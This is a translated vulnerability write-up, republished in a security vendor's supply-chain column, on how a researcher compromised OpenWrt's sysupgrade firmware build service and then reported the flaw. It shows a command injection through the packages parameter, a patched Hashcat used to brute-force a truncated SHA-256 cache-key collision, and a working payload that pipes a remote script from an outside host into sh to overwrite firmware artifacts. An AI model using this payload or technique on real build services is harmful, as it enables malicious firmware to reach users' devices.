聚焦源代码安全,网罗国内外最新资讯!
数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。
随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。近年来,针对软件供应链的安全攻击事件一直呈快速增长态势,造成的危害也越来越严重。
为此,我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯,分析供应链安全风险,提供缓解建议,为供应链安全保驾护航。
注:以往发布的部分供应链安全相关内容,请见文末“推荐阅读”部分。
几天前,我尝试升级自己的家庭实验室网络,决定升级路由器上的 OpenWrt。访问了 OpenWrt 的 web 界面 LuCI 后,我注意到了一个名为 “Attended Sysupgrade” 的部分,因此尝试借此来升级固件。从描述来看,Attended Sysupgrade 通过使用在线服务构建新的固件。我对它的工作原理很感兴趣,因此开始了调查。
做了一些研究后,我发现上述提到的在线服务托管在 sysupgrade.openwrt.org 上。该服务可使用户通过挑选目标设备和想要的程序包的方式构建一个新的固件镜像。当用户尝试升级该固件时,OpenWrt 的用户侧就会向服务器发送一个请求,要求获取如下信息:
目标架构
设备配置
所选包
该服务器随后基于这些信息构建固件镜像并将其发送回 OpenWrt,后者就开始将固件镜像闪存到设备。正如大家所知,以用户提供的程序包构建镜像是危险的。如果该服务器正在构建用户提供的源代码且没有正确隔离,那么就会被轻易攻陷。
因此,我开始着手调查该服务中是否存在任何安全问题。
幸运的是,托管在sysupgrade.openwrt.org上的服务器是一个开源项目,该源代码托管在 openwrt/asu上。我设立了该服务的本地实例并在不影响生产环境的前提下,开始进一步调查测试该服务的行为。
读取一小会后,我发现该服务器正在使用容器隔离构建环境,如下所示:
asu/build.py 第154-164行:
container = podman.containers.create(
image,
command=["sleep", "600"],
mounts=mounts,
cap_drop=["all"],
no_new_privileges=True,
privileged=False,
networks={"pasta": {}},
auto_remove=True,
environment=environment,
)
如果逃逸该容器会怎样?不久后我发现源代码中的这行代码:
asu/build.py 第217-226行:
returncode, job.meta["stdout"], job.meta["stderr"] = run_cmd(
container,
[
"make",
"manifest",
f"PROFILE={build_request.profile}",
f"PACKAGES={' '.join(build_cmd_packages)}",
"STRIP_ABI=1",
],
)
如上所引用的 Makefile 源自 OpenWrt 的镜像构建器,而目标 manifest 的定义如下:
target/imagebuilder/files/Makefile 第 325-335行:
manifest: FORCE
$(MAKE) -s _check_profile
$(MAKE) -s _check_keys
(unset PROFILE FILES PACKAGES MAKEFLAGS; \
$(MAKE) -s _call_manifest \
$(if $(PROFILE),USER_PROFILE="$(PROFILE_FILTER)") \
$(if $(PACKAGES),USER_PACKAGES="$(PACKAGES)"))
当命令 make 在执行前扩展了该变量时,包含受用户控制值的变量无法安全使用。例如,如下含有 make var="'; whoami #" 的Makefile 将会执行whoami 的命令,尽管变量 var 通过单引号引用。
test:
echo '$(var)'
由于变量PACKAGES 中包含由用户发送的请求中的参数 packages,因此攻击者可通过发送一个程序包如 ‘command to execute’ 的凡是在镜像构建器容器中执行任意命令。
asu/build_request.py 第 59-70 行:
packages: Annotated[
list[str],
Field(
examples=[["vim", "tmux"]],
description="""
List of packages, either *additional* or *absolute* depending
of the `diff_packages` parameter. This is augmented by the
`packages_versions` field, which allow you to additionally
specify the versions of the packages to be installed.
""".strip(),
),
] = []
虽然执行该命令的容器从主机隔离,但仍然不失为逃逸容器的好的起始点。
找到如上所述的命令注入后,我开始查找逃逸该容器的代码。功夫不负有心人,一小时后还真找到了。
asu/util.py 第119-149 行:
def get_request_hash(build_request: BuildRequest) -> str:
"""Return sha256sum of an image request
Creates a reproducible hash of the request by sorting the arguments
Args:
req (dict): dict containing request information
Returns:
str: hash of `req`
"""
return get_str_hash(
"".join(
[
build_request.distro,
build_request.version,
build_request.version_code,
build_request.target,
build_request.profile.replace(",", "_"),
get_packages_hash(build_request.packages),
get_manifest_hash(build_request.packages_versions),
str(build_request.diff_packages),
"", # build_request.filesystem
get_str_hash(build_request.defaults),
str(build_request.rootfs_size_mb),
str(build_request.repository_keys),
str(build_request.repositories),
]
),
REQUEST_HASH_LENGTH,
)
该方法用于生成请求的哈希,而该哈希用作构建的缓存密钥。但为什么它有多个内部哈希而不使用raw字符串呢?我查看了如下计算包哈希的代码后,立即注意到该哈希的长度被从64个字符截断到12个。
asu/util.py 第 152-164行:
def get_str_hash(string: str, length: int = REQUEST_HASH_LENGTH) -> str:
"""Return sha256sum of str with optional length
Args:
string (str): input string
length (int): hash length
Returns:
str: hash of string with specified length
"""
h = hashlib.sha256(bytes(string or "", "utf-8"))
return h.hexdigest()[:length]
[...]
def get_packages_hash(packages: list[str]) -> str:
"""Return sha256sum of package list
Duplicate packages are automatically removed and the list is sorted to be
reproducible
Args:
packages (list): list of packages
Returns:
str: hash of `req`
"""
return get_str_hash(" ".join(sorted(list(set(packages)))), 12)
12个字符相当于48个位,而键空间是 2^48 = 281,474,976,710,656,看起来太小而无法避免碰撞。虽然该哈希并非用作缓存键,但包含该哈希的外层哈希的用途即是。因此,通过创建这些程序包哈希的碰撞,即使这些程序包是不同的,我们仍然可以生成同样的缓存键,这就可使攻击者强迫该服务器位具有不同程序包的请求返回错误的构建工件。
由于我不确定该碰撞到底是如何发生的,于是决定通过暴力破解SHA-256找到12个字符碰撞的方式进行测试。
由于无法找到部分匹配支持的哈希暴力破解工具,于是我决定自己实现。
经过一些尝试和错误后,我成功创建了一个 OpenCL 程序,对CPU进行暴力破解。然而,在测试时其表现非常糟糕,它需要10秒钟才能计算1亿个哈希。这几乎相当于CPU的哈希率,但因为我没有经验因此并未进一步优化。
于是,我最终使用了一款已知的暴力破解工具程序 Hashcat。通过如下方式,我让 Hashcat 打印出了仅有8个字符匹配的哈希:
diff --git a/OpenCL/m01400_a3-optimized.cl b/OpenCL/m01400_a3-optimized.cl
index 6b82987bb..12f2bc17a 100644
--- a/OpenCL/m01400_a3-optimized.cl
+++ b/OpenCL/m01400_a3-optimized.cl
@@ -165,7 +165,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
/**
* reverse
*/
-
+/*
u32 a_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[0];
u32 b_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[1];
u32 c_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[2];
@@ -179,7 +179,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
-
+*/
/**
* loop
*/
@@ -279,7 +279,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
w7_t = SHA256_EXPAND (w5_t, w0_t, w8_t, w7_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, w7_t, SHA256C37);
w8_t = SHA256_EXPAND (w6_t, w1_t, w9_t, w8_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, a, b, c, d, e, f, g, h, w8_t, SHA256C38);
- if (MATCHES_NONE_VS (h, d_rev)) continue;
+ //if (MATCHES_NONE_VS (h, d_rev)) continue;
w9_t = SHA256_EXPAND (w7_t, w2_t, wa_t, w9_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, h, a, b, c, d, e, f, g, w9_t, SHA256C39);
wa_t = SHA256_EXPAND (w8_t, w3_t, wb_t, wa_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, g, h, a, b, c, d, e, f, wa_t, SHA256C3a);
@@ -289,7 +289,8 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
we_t = SHA256_EXPAND (wc_t, w7_t, wf_t, we_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, c, d, e, f, g, h, a, b, we_t, SHA256C3e);
wf_t = SHA256_EXPAND (wd_t, w8_t, w0_t, wf_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, wf_t, SHA256C3f);
- COMPARE_S_SIMD (d, h, c, g);
+ //COMPARE_S_SIMD (d, h, c, g);
+ COMPARE_S_SIMD (a, a, a, a);
}
}
diff --git a/src/modules/module_01400.c b/src/modules/module_01400.c
index ab002efbe..03549d7f5 100644
--- a/src/modules/module_01400.c
+++ b/src/modules/module_01400.c
@@ -11,10 +11,10 @@
#include "shared.h"
static const u32 ATTACK_EXEC = ATTACK_EXEC_INSIDE_KERNEL;
-static const u32 DGST_POS0 = 3;
-static const u32 DGST_POS1 = 7;
-static const u32 DGST_POS2 = 2;
-static const u32 DGST_POS3 = 6;
+static const u32 DGST_POS0 = 0;
+static const u32 DGST_POS1 = 0;
+static const u32 DGST_POS2 = 0;
+static const u32 DGST_POS3 = 0;
static const u32 DGST_SIZE = DGST_SIZE_4_8;
static const u32 HASH_CATEGORY = HASH_CATEGORY_RAW_HASH;
static const char *HASH_NAME = "SHA2-256";
之后,我通过一小段脚本将其封装,查看Hashcat的输出中是否包含12个字符的碰撞。
为组合这两种攻击,我需要找到payload,它拥有针对合法程序包清单的12个字符长的哈希碰撞。
我从sysupgrade.openwrt.org 的前端 firmware-selector.openwrt.org 中收集到了程序包清单,并计算出了合法哈希:
$ printf 'base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd' | sha256sum
8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -
该哈希的前12个字符是 8f7018b33d94,因此我们需要拥有与该哈希相同前缀的一个命令注入payload。为此,我通过如下命令在 RTX4090上执行了修改后的Hashcat:
$ ./hashcat -m 1400 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -O -a 3 -w 3 '`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`' --self-test-disable --potfile-disable --keep-guessing
执行该命令后,Hashcat开始以每秒5亿哈希的速度计算这些哈希。一会儿检查输出后,我发现 Hashcat 计算了所有可能的模式,但并未找到12个字符的碰撞,这是因为我错误地计算了?l?l?l?l?l?l?l?l?l?l的空间。
?l是生成 a-z 的一个掩码模式,因此?l?l?l?l?l?l?l?l?l?l(10个字符)的空间是 26^10 = 141,167,095,653,376,大概是 2^48 = 281,474,976,710,656 的一半。但在计算该空间时,我错误地将其计算为 26^11 = 3,670,344,486,987,776,还以为这样就足以找到该碰撞。
因此我将掩码模式修改为?l?l?l?l?l?l?l?l?l?l?l(11个字符)并任其运行。执行该命令后,我在想如何才能让暴力破解更快呢,于是开始查看Hashcat。不久后我发现当我把掩码模式放到命令前如 `?l?l?l?l?l?l?l?l?l?l?l `curl -L tmp.ryotak.net/|sh` 时,它的性能急速提升。经过测试后,我发现只要改为如下模式,就能提速36倍。
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
通过使用该模式,Hashcat 能够以每秒180亿哈希的速度计算这些哈希。在一个小时内,Hashcat 找到了12个字符碰撞:
$ printf '`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`' | sha256sum
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8 -
将该payload 发送为 packages 参数,就会触发命令注入并执行tmp.ryotak.net 处的脚本。我将如下脚本放到 tmp.ryotak.net/8f7018b33d94,覆写了由该镜像构建器生成的工件。
cat >> /builder/scripts/json_overview_image_info.py <<PY
import os
files = os.listdir(os.environ["BIN_DIR"])
for filename in files:
if filename.endswith(".bin"):
filepath = os.path.join(os.environ["BIN_DIR"], filename)
with open(filepath, "w") as f:
f.write("test")
PY
接着,哈希碰撞发生,服务器将覆写的构建工件返回给合法请求,请求了如下程序包:
base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd
攻击者可强制用户升级至恶意固件,从而导致设备遭攻陷。
证实该攻击后,我通过 GitHub 上的非公开漏洞报送渠道报送给 OpenWrt 团队。
OpenWrt 团队证实该问题后,临时停止了 sysupgrade.openwrt.org 服务并启动调查。3小时候,他们发布了已修复版本并重启服务。虽然这两个问题均已由 OpenWrt 团队修复,但目前尚不清楚该攻击是否遭其他人利用,因为漏洞已存在一段时间。因此该团队决定发布公告通知用户确保设备未被攻陷并检测是否已遭攻陷。
在本文中,我解释了如何通过命令注入漏洞和SHA-25碰撞攻陷 sysupgrade.openwrt.org 服务。由于我从未在真实应用中发现哈希碰撞攻击,因此通过暴力攻击哈希竟然利用成功,让我惊讶。感谢 OpenWrt 团队在如此短的时间内就修复了漏洞并及时通知用户。
点击“阅读原文”,马上试用开源卫士:https://oss.qianxin.com
Solana 热门 Web3.js npm库有后门,可触发软件供应链攻击
Python、npm和开源生态系统中的入口点可用于发动供应链攻击
NPM恶意包假冒 “noblox.js”,攻陷 Roblox 开发系统
英韩:Lazarus 黑客组织利用安全认证软件 0day 漏洞发动供应链攻击
Okta 支持系统遭攻陷,已有Cloudflare、1Password等三家客户受影响
Okta 结束Lapsus$ 供应链事件调查,称将加强第三方管控
MSI UEFI 签名密钥遭泄漏 恐引发“灾难性”供应链攻击
OilRig APT 组织或在中东地区发动更多 IT 供应链攻击
适用于Kubernetes 的AWS IAM 验证器中存在漏洞,导致提权等攻击
PyPI 仓库中的恶意Python包将被盗AWS密钥发送至不安全的站点
题图:Pexels License
本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。
觉得不错,就点个 “在看” 或 "赞” 吧~